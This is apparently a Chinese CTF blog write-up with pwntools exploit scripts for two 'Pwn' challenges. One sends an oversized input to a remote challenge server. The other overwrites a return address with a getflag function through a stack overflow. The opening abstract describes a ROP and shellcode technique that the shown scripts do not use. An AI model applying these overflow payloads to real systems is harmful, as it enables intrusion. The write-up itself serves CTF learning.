Pwn

最新推荐文章于 2025-07-30 11:57:36 发布

bluestar628

最新推荐文章于 2025-07-30 11:57:36 发布

阅读量2.5k

点赞数 3

分类专栏： CTF

本文详细介绍了如何通过栈溢出利用技术，结合动态链接库函数_dl_make_stack_executable，使栈变得可执行，并布置shellcode以获取shell。首先通过IDA分析程序，发现存在栈溢出，然后逐步构造ROP链，包括改变_stack_prot值，设置eax为libc_stack_end地址，调用_dl_make_stack_executable函数，最后插入shellcode并寻找跳转到栈的指令完成执行。

Pwn1

拿到程序IDA分析

发现就是一个输入字符串，长度大于0x500就直接执行cat flag。虽然溢出了，但是和溢出没有太大关系

所以利用代码如下：

from pwn import *
p = remote ("139.224.220.67" ,30004)
payload = 'a'*0x501
p.sendline(payload)
p.interactive()

Pwn2

打开IDA分析，是一个经典的栈溢出，scanf输入的时候并没有对长度进行限制，因此可以一直覆盖到返回地址

那么我们可以把返回地址覆盖为题目中给出的getflag函数即可。

所以利用代码如下：

from pwn import *
p = remote ("139.224.220.67" ,30006)
e=ELF("chall")
payload = 'a'*0x108
payload += 'a'*0x4
payload += p32(e.symbols['getflag'])
p.sendline(payload)
p.interactive()